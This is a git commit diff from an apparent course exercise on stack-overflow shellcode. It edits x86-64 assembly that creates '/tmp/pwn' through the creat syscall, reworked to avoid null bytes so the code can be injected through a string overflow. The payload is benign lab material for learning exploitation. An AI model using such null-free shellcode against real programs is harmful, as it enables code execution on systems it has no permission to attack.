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Avoid forgotten \0

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using lea, neg
This commit is contained in:
Yorick Barbanneau 2023-03-30 10:19:50 +02:00
parent 15695498a4
commit 70c0823fe7
2 changed files with 7 additions and 6 deletions
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11
content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
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@ -3,14 +3,15 @@
_start:
jmp indirect
p:
xorq %rdi, %rdi
xor %rdi, %rdi
pop %rdi
#shr $0x8, %rdi
push $0x1b6
push $0xfffffffffffffe4b
xor %rsi, %rsi
pop %rsi
neg %rsi
add $1, %rsi
push $85
pop %rax
syscall
@ -26,4 +27,4 @@ p:
indirect:
call p
.asciz "/tmp/pwn"
.ascii "/tmp/pwn"